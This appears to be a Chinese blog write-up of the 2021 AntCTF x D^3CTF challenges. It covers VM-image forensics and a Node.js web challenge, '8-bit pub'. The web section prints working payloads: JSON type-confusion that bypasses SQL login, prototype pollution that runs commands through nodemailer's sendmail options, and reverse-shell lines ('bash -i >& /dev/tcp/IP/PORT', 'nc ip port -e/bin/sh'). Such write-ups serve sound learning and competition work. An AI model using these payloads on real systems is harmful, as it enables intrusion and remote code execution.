CTF | 2021 AntCTF x D^3CTF WriteUp


引言

2021 AntCTF x D^3CTF

AntCTF x D^3CTF 是蚂蚁集团安全响应中心(AntSRC)携手三支“电子科大”队伍:杭电 Vidar-Team西电 L-Team成电 CNSS 共同举办的 CTF 赛事(暨第十二届 HCTF、第五届 LCTF)

线上赛 3月5日 20:00-3月7日 20:00

介绍页面: https://d3ctf.io/

比赛平台: https://ant-d3ctf.alipay.com/

前不久看群里师傅推了这个比赛,就来打打玩玩好了。

比赛题目放出来才发现还是挺有难度的,于是喵喵也不会做,大哭呜呜呜。

和队里师傅一起打的,这里就简单写写我做的吧。

Misc

Virtual Love

You say you love me, but you don’t know me at all! Your love…Your love is all virtual!(Login User: guest)
The second part of the attachment:

https://d3ctf-2021.oss-cn-shanghai.aliyuncs.com/Misc/VirtualLove_7992f13b4b66efb5156f17698f69c0e3.part2.rar
Flag Format: d3ctf{this_is_a_sample_flag}

https://d3ctf-2021.oss-cn-shanghai.aliyuncs.com/Misc/VirtualLove_7992f13b4b66efb5156f17698f69c0e3.part1.rar

好家伙,6GiB 的 Vmware 虚拟机镜像!

解压出来导入 Vmware,发现需要密码。

第一次遇到这种题唉,于是想到爆破这个密码。

GitHub 上找到了 pyvmx-cracker 这个工具,但是跑了 10W+ 的字典都没跑出来,于是放弃。

又想到能不能直接导入虚拟机镜像 vmdk 啊,试了试还是报错了。

再去看看 VirtualLove-s00*.vmdk 文件,找个正常的比对了一下,好家伙,去掉了文件头啊!

改好文件头,再一看还是不对啊!!!

再比对了亿下,怎么还去掉了文件头部另外一段……

修改后

嗯,到这里还是报错。

坏坏

再看 VirtualLove.vmdk,发现把 version 标记给整没了。

加上,终于能够正常启动了。

guest 用户登录。

坏耶!有假的 flag!

提示需要进入 root,于是试着提权。

系统信息

sudo

suid

坏耶!都最新版本了!看上去 setuid 提权也不大行。/etc/passwd 也不可写。计划任务也不行。

(查了半天怎么提权,我好菜啊喵呜呜

Centos普通用户提权至ROOT 利用 /bin/ping rws 中的 s 的漏洞

Linux提权:从入门到放弃

对Linux 提权的简单总结

【安全科普】Linux提权——利用可执行文件SUID

etc.

发现貌似一个都提不了权。

再后来,想到我有镜像啊,何必呢!我可以改 root 用户的密码啊。

GitHub 上找到了个 change-root-passwd

可以参考 修改虚拟机镜像的root密码 这篇来实现。

再进一步,我都有镜像了,啥都能提取的啊!啊我是废物呜呜呜。

于是又找到了 Libguestfs一个用来访问和修改虚拟机磁盘镜像的一个工具集

虚拟机镜像管理工具– Libguestfs

CentOS7.1 KVM虚拟化之libguestfs-tools工具常用命令介绍

apt install libguestfs-tools
virt-ls VirtualLove.vmdk /root
virt-cat VirtualLove.vmdk /root/flagggg.txt

d3ctf{Vmw@RE_1s_5o_C0mpl3x_b99d1320cf}

Virtual Love_Revenge

I’m coming for revenge.
You say you love me, but you don’t know me at all! Your love…Your love is all virtual!(Login User: guest)
The second part of the attachment:

https://d3ctf-2021.oss-cn-shanghai.aliyuncs.com/Misc/VirtualLoveRevenge_cf424dd60a5d269b06ecfecfbd59deb9.part2.rar
Flag Format: d3ctf{this_is_a_sample_flag}

https://d3ctf-2021.oss-cn-shanghai.aliyuncs.com/Misc/VirtualLoveRevenge_cf424dd60a5d269b06ecfecfbd59deb9.part1.rar

又是 6GiB 的虚拟机镜像,喂,这比赛占了我硬盘巨大空间啊喂!

另外还有个 true_flag.rar

true_flag.rar

这次还是照样改 VirtualLove-s00*.vmdk 文件头部。

以及 VirtualLove.vmdk 改的真多

改的真多

然后一样新建虚拟机导入镜像。

还是一样的假 flag。

用 libguestfs-tools 看看 /root,然后读取这个文件。

f5`FU2)I$F0Oc'qL@pP)S

这个就是压缩包的密码。

解压拿到 flag

d3ctf{Vmw@RE_1s_5oooo_C0mpl3x_ec4bb60e58}

其实这里我还寻思着是不是漏了啥呢,是不是还套了好几步,于是还想着改 root 密码((

BTW, anaconda-ks.cfg 这个文件里就存了 root 的密码

Linux:root下的文件-anaconda-ks.cfg详解

以及 通过 单用户模式 或者 救援模式 rescue mode 去更改 root 密码。

Linux 忘记密码解决方法

Linux中Root密码破解

Virtual Love_Revenge2.0

*I’m coming for revenge again.*
You say you love me, but you don’t know me at all! Your love…Your love is all virtual!(Login User: guest)
The second part of the attachment:

https://d3ctf-2021.oss-cn-shanghai.aliyuncs.com/Misc/VirtualLoveRevenge2.0_66a25efc5cbcf0b7a9fdab312c3e70aa.part2.rar
Flag Format: d3ctf{this_is_a_sample_flag}

https://d3ctf-2021.oss-cn-shanghai.aliyuncs.com/Misc/VirtualLoveRevenge2.0_66a25efc5cbcf0b7a9fdab312c3e70aa.part1.rar

怎么这比赛这么占空间

喂!!!有完没完啊!太有毒了!

(怎么这比赛这么占硬盘空间

先是和上一题一样的操作,做的要吐了……

然后之后看图。

压缩包密码

2F!,O<DJ+@<*K0@<6L(Df-
d3ctf{Vmw@RE_1s_5ooo_C0mpl3x_[目标文件md5]}
d3ctf{Vmw@RE_1s_5ooo_C0mpl3x_8cf8463b34caa8ac871a52d5dd7ad1ef}

好耶,是一血!

(盲猜是不是之前的题目有人直接 grep / binwalk 或者怎么样提取到了字符串什么的吧

问了出题人说非预期是 压缩包的密码和最开始版本的 flag 在同一个位置,没进行其他处理,所以直接就能在010里找到。

预期解是爆破 vmx 的密码,字典隐写在 log 里了。然后修复 vmx,再修修其他的几个文件就可以进去了。

emmmm

Web

8-bit pub

Wellcome to 8-bit pub, take a seat and enjoy drinking here!
Attachment: https://d3ctf-2021.oss-cn-shanghai.aliyuncs.com/Web/8-bit_pub_e7b8ca6dc23b59b42e8b5900b62c61506ad0ca34.zip
PS: Try to execute /readflag
PPS: The container restarts every 3 minutes
Flag Format: d3ctf{this_is_a_sample_flag}

Challenge Address

http://6d5f59df15.8bit-pub.d3ctf.io

给了源码,直接看,是 Nodejs。

盲猜又是原型链污染。于是就去找有没有。

看了一下依赖的版本都挺新的,emmm。(可以试试 npm audit

发现给的源码中唯一一处可能的是在发邮件这里。

controllers/adminController.js

const send = require("../utils/mail");
const shvl = require("shvl");

module.exports = {
  home: function (req, res) {
    return res.sendView("admin.html");
  },

  email: async function (req, res) {
    let contents = {};

    Object.keys(req.body).forEach((key) => {
      shvl.set(contents, key, req.body[key]);
    });

    contents.from = '"admin" <[email protected]>';

    try {
      await send(contents);
      return res.json({message: "Success."});
    } catch (err) {
      return res.status(500).json({ message: err.message });
    }
  },
};

通过 shvl.set 把接收到的参数赋值给 contents,之后就传进发邮件的了。

那怎么进入这个发邮件呢?

根据 routes/index.js 可以看到路由,需要鉴权,就是 admin

const express = require("express");
const router = express.Router();
const adminController = require("../controllers/adminController");
const indexController = require("../controllers/indexController");
const usersController = require("../controllers/usersController");
const auth = require("../utils/auth");

router.get("/", indexController.home);
router.get("/signin", usersController.signinPage);
router.get("/signup", usersController.signupPage);
router.get("/logout", usersController.logout);
router.get("/admin", auth, adminController.home);


router.post("/user/signin", usersController.signin);
router.post("/user/signup", usersController.signup);
router.post("/admin/email", auth, adminController.email);

module.exports = router;

utils/auth.js

let auth = function (req, res, next) {
  if (!req.session.username) {
    return res.redirect(302, "/");
  }
  if (req.session.username !== "admin") {
    if (req.method === "GET") {
      return res.sendView("forbidden.html");
    } else {
      return res.json({ message: "Forbidden." });
    }
  }
  next();
};

module.exports = auth;

需要 session.usernameadmin。那首先要登录。

controllers/usersController.js

const user = require("../modules/users");

module.exports = {
  signinPage: function (req, res) {
    return res.sendView("signin.html");
  },

  signupPage: function (req, res) {
    return res.sendView("signup.html");
  },

  signin: function (req, res) {
    user.signin(req.body.username, req.body.password, function (err, result) {
      if (err) {
        return res.status(500).json({ message: err.message });
      }
      if (result.length) {
        req.session.username = result[0].username;
        return res.json({ message: "Signin success." });
      } else {
        return res.status(401).json({ message: "Username or password wrong." });
      }
    });
  },

  signup: function (req, res) {
    user.signup(req.body.username, req.body.password, function (err, result) {
      if (err) {
        return res.status(500).json({ message: err.message });
      }
      return res.json({ message: "Signup success." });
    });
  },

  logout: function (req, res) {
    req.session.username = undefined;
    return res.redirect(302, "/");
  }
};

再看 modules/users.js

const sql = require("../utils/db.js");

module.exports = {
  signup: function (username, password, done) {
    sql.query(
      "SELECT * FROM users WHERE username = ?",
      [username],
      function (err, res) {
        if (err) {
          console.log("error: ", err);
          return done(err, null);
        }
        if (!res.length) {
          sql.query(
            "INSERT INTO users VALUES (?, ?)",
            [username, password],
            function (err, res) {
              if (err) {
                console.log("error: ", err);
                return done(err, null);
              } else {
                return done(null, res.insertId);
              }
            }
          );
        } else {
          return done({
            message: "Username already taken."
          }, null);
        }
      });
  },

  signin: function (username, password, done) {
    sql.query(
      "SELECT * FROM users WHERE username = ? AND password = ?",
      [username, password],
      function (err, res) {
        if (err) {
          console.log("error: ", err);
          return done(err, null);
        } else {
          return done(null, res);
        }
      }
    );
  },
};

草,还要 SQL 注入……

于是 思路就是首先 SQL 注入登录 admin 用户,然后通过发邮件的接口污染原型链读取 flag,或者反弹 shell 之类的。

但是注意的是,它这里不是手动拼接的 SQL 语句,利用 nodejs 里的 mysql 封装好的函数,通过占位符和参数来进行的,这样会自动转义危险的字符。

于是这里试了挺久都没打通((

网页上试了试,发现是 urlencode 传参,但是在 app.js 中可以知道 json 也支持的,那就开打。

json

SQL 注入,一般的绕过都不大行,但是利用 JavaScript 的弱类型和 JSON 的特性,可以传入一些奇奇怪怪的东西。

参考:

nodejs应用中的权限绕过漏洞—一个赏金漏洞的故事

一道有趣的关于nodejs的ctf题

构造登录 payload,打过去。

{"username":[0], "password": true}
{"username":[0], "password": [0]}

发现确实登录成功了,但是看上去并不是 admin。

可是队友本地搭环境出来确实可行。

不知道是数据库环境的问题还是什么(

后来又试了试,发现 0 1 4 5 等好几个值都能绕过,成功登录,但都不是 admin。

于是考虑 username 还得是 admin

在不断地尝试下,构造

{"username":"admin","password":{"password":[1]}}

生成的 SQL 为

SELECT * FROM users WHERE username = 'admin' AND password = `password` = 1

打过去,终于成了。

接下来就 污染原型链

看了看 shvl 项目文档.

🚧 Get and set dot-notated properties within an object.

可以通过 . 来索引,shvl.set(obj, 'a.b.c', 2); 这样来给 object 赋值。

本来先想着反弹 shell,发现不行。

{"to":"xxx","subject":"Weekend","text":"Goodday", "__proto__":{"env":{"AAAA":"require(\"child_process\").exec(\"bash -i >& /dev/tcp/IP/PORT 0>&1\")//", "NODE_OPTIONS":"--require /proc/self/environ"}}}
//或者
{"to":"xxx","subject":"Weekend","text":"Goodday", "__proto__.env.AAAA": "require(\"child_process\").exec(\"bash -i >& /dev/tcp/IP/PORT 0>&1\")//", "__proto__.env.NODE_OPTIONS":"--require /proc/self/environ"}

后来想到这个貌似需要 fork 进程才能实现,于是不行。(再后来发现又可以了,有 spawn

然后再试了试,发现貌似不能污染原型链……(???)

{"to":"xxx","subject":"Weekend","text":"Goodday", "__proto__.html":"<i>Miao</i>233333"}

这个打过去收到的邮件里并不是 html 中的内容,说明没有污染到。

再去看 utils/mail.js

const nodemailer = require("nodemailer");

async function send(contents) {
  let transporter = nodemailer.createTransport({
  host: "******", // Plz use your own smtp server for testing.
  port: 25,
  tls: { rejectUnauthorized: false },
  auth: {
    user: "******",
    pass: "******",
  },
});
  return transporter.sendMail(contents);
}

module.exports = send;

调用了 nodemailer 进行发送。

查看其文档 Message configuration,发现有个 Attachments,可以发附件,那就试试能否把 flag 带出来。

{"to":"xxx","subject":"1","text":"1", "attachments": { "path": "/readflag" }}
{"to":"xxx","subject":"1","text":"1", "attachments": { "path": "/flag" }}

失败了,没有权限执行。

然后读了点其他东西,试了下当前目录在 /var/www/web

/etc/passwd

/proc/self/environ 环境变量

/proc/self/environ

以及 数据库/session/mail 的一些信息,但是也没啥用啊。

难不成 SMTP 去窃取别人的附件(没试过不知道行不行 233

这时候再回过来看 shvl 源码

export function set  (object, path, val, obj) {
  return !/__proto__/.test(path) && ((path = path.split ? path.split('.') : path.slice(0)).slice(0, -1).reduce(function (obj, p) {
    return obj[p] = obj[p] || {};
  }, obj = object)[path.pop()] = val), object;
};

噢,原来它把 __proto__ 给过滤掉了,难怪打不通。

但是还有 constructor: { prototype: { attachments: { path: '/readflag' } } } 这样应该能绕过。

直接写发现没有附件。

还是需要用 . 来。

这回思路就通了,就 找污染哪里能执行代码 呢。

又去翻 nodemailer 的源码。

根据文档 Sendmail transport,发现可以传个 args 参数。

跟进 send 源码

node_modules/nodemailer/lib/sendmail-transport/index.js#108

好家伙!

那就把 path args 给污染好了。

构造代码成下面这样。

const nodemailer = require("nodemailer");

let transporter = nodemailer.createTransport({
	sendmail: true,
	path: "/bin/sh",
	args: ["-c", "touch /tmp/a"],
});
transporter.sendMail(
	{
		from: "[email protected]",
		to: "[email protected]",
		subject: "Message",
		text: "I hope this message gets delivered!",
	},
	(err, info) => {
		console.log(info.envelope);
		console.log(info.messageId);
	}
);

再参考 2019 D^3 CTF-ezts复现

这题应该执行 /readflag 就能输出 /flag

Payload:

先把 flag 读出来,再通过附件发邮件。

{"to":"xxx","subject":"/readflag test","text":"/readflag test", "constructor.prototype.sendmail": "true", "constructor.prototype.path": "/bin/sh", "constructor.prototype.args": ["-c","/readflag>/tmp/miao"]}
{"to":"xxx","subject":"flag","text":"temp", "constructor.prototype.attachments.path": "/tmp/miao"}

发现写的时候报错,但确实写入文件了。

最后在 邮件附件里拿到 flag

d3ctf{01c185051349caebc42bf2a2bef08e9cca73b0f9bf680cf6406127081c6679eb}

哇呜!!!!!终于出了!!!

这题和队友从晚上 6.看到 11. 太顶了!

可是比赛结束了 呜呜呜

问题不大,学到了许多。

BTW, 读了一下根目录。

total 876
drwxr-xr-x    1 root     root          4096 Mar  5 05:08 .
drwxr-xr-x    1 root     root          4096 Mar  5 05:08 ..
-rwxr-xr-x    1 root     root             0 Mar  5 05:08 .dockerenv
drwxr-xr-x    1 root     root          4096 Feb 24 21:05 bin
drwxr-xr-x    5 root     root           340 Mar  6 04:35 dev
drwxr-xr-x    1 root     root          4096 Mar  5 16:10 etc
----------    1 root     root            71 Mar  5 03:52 flag
drwxr-xr-x    1 root     root          4096 Feb 24 21:05 home
drwxr-xr-x    1 root     root          4096 Feb 24 21:05 lib
drwxr-xr-x    5 root     root          4096 Feb 23 19:33 media
drwxr-xr-x    2 root     root          4096 Feb 23 19:33 mnt
drwxr-xr-x    1 root     root          4096 Feb 24 21:05 opt
dr-xr-xr-x  222 root     root             0 Mar  6 04:35 proc
---S-----x    1 root     root        803240 Feb 27 07:56 readflag
drwx------    1 root     root          4096 Mar  6 04:20 root
drwxr-xr-x    1 root     root          4096 Mar  7 00:21 run
drwxr-xr-x    2 root     root          4096 Feb 23 19:33 sbin
drwxr-xr-x    2 root     root          4096 Feb 23 19:33 srv
dr-xr-xr-x   13 root     root             0 Mar  6 04:35 sys
drwxrwxrwt    1 root     root          4096 Mar  7 15:25 tmp
drwxr-xr-x    1 root     root          4096 Feb 24 21:05 usr
drwxr-xr-x    1 root     root          4096 Mar  3 15:48 var

readflagS属性,能够临时提升权限来读取 flag

代码类似于

#include <stdio.h>
#include <stdlib.h>

void main() {
    seteuid(0);
    setegid(0);
    setuid(0);
    setgid(0);

    system("/bin/cat /flag");
}

看了官方 WP,发现确实有一种污染环境变量的方法。

解法二

https://blog.p6.is/Abusing-Environment-Variables/

{"constructor.prototype.env": {"NODE_DEBUG": "require('child_process').execSync('nc ip port -e/bin/sh')//","NODE_OPTIONS": "-r /proc/self/environ"  },"constructor.prototype.sendmail": true,"constructor.prototype.shell": "/bin/node"}

小结

misc 其他题目的话,比如:

  • 量子密钥分发quantum key distribution,QKD),用的应该是 BB84 协议

    不过流量包提取不出来,赛后才发现确实就是 Python 序列化后的,可以导出 JSON 再提取 data 再反序列化

    网上找到的几个 Google Capture The Flag 2019 (Quals) 的 Writeup:

    https://github.com/shahar603/CTF-Writeups/blob/master/2019/Google%20CTF%202019%20Quals/Quantum_Key_Distribution.md

    https://sasdf.github.io/ctf/writeup/2019/google/crypto/qkd/

    https://ctftime.org/writeup/15844

    https://ctftime.org/writeup/18212

    看了官方 wp,好家伙,python 有个 pyshark 包能直接提取啊……

  • 还有个 Robust

    每日网易云 keep doctors away 的,给的是 QUIC / HTTP3 的流量包,看上去像是 m3u8 推流的抓包。

    和喵喵春节闯关 Task2 的推流有点像,抓了个包发现也类似。

    先加载 SSLKEYLOGFILE 得到明文流量,但是不会提取 QUIC,太草了

    可以导出 JSON 然后写个脚本提取的,呜呜呜,我是fw(((

    看了官方 wp,草,这题这么套娃的么。(

    流量解密完是加密的 m3u8 流,提取出密钥用 aes-128-cbc 解密,根据频谱发现是拨号上网的调制解调器(modem),解码完得到 base64 解密得到压缩包。再去网易云找到相同歌曲的歌词 json 进行明文攻击。得到的 txt 文档内容空白字符隐写,再 base85 解密得到 flag。

    BTW,还找了点 QUIC 相关的工具

    a listing of tools for analysing, debugging and visualising QUIC (and potentially the HTTP mapping). See also the Implementations listing.

    qvis —— Toolsuite for visualizing QUIC+HTTP/3 qlog and pcap files. Includes a sequence diagram, congestion graph, multiplexing diagram and packetization visualization. 一个 QUIC+HTTP/3 可视化的工具。(GitHub

  • 有一题 shellgen2

    是输入 Python 代码,输出 PHP。验证逻辑是随机产生一段字符串,执行 Python 代码得到 PHP 代码,然后经过 waf 之后再执行 PHP。貌似个限制长度的 无字母数字 webshell

    (喵喵迷茫

    BTW,revshellgen
    Standalone script written in Python 3 for generating reverse shells easily without typing. It automates the boring stuff like URL encoding the command and setting up a listener.
    一个自动生成多种语言的反弹 shell 的工具,还能同时打开端口监听。

  • etc.

被卡住太难受了,之后有空有机会再来复现吧。

Pwn 有题 QEMU 逃逸的,喵喵从 misc 的角度来看的。

题目在 docker 里搭了个 QEMU 虚拟机。flag 在 docker 里的(相对于虚拟机的) host 里,连接发现通过 Ctrl-A C 可以退出虚拟机到 monitor,把 flag 作为光驱挂载上去,但 Ctrl-A C 再进去发现读不出来,看别人 wp 发现需要往这个里面先写入其他字符串,足够长才能输出。然而有点问题这么打没打通,最后队友用 binary 的方法打通了,233333.

太顶了太顶了!

喵呜呜呜呜呜,我只会签到、问卷和这道来来回回的虚拟机了……

挤不进前20了,喵喵大哭。

不过拿了个一血还是挺爽的!

不对劲,本来说着随意写写的,怎么扯了这么多(

(溜了溜了


噢,Official Writeup 终于出来了!

https://github.com/D-3CTF/D3CTF-2021-Official-Writeup


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
  目录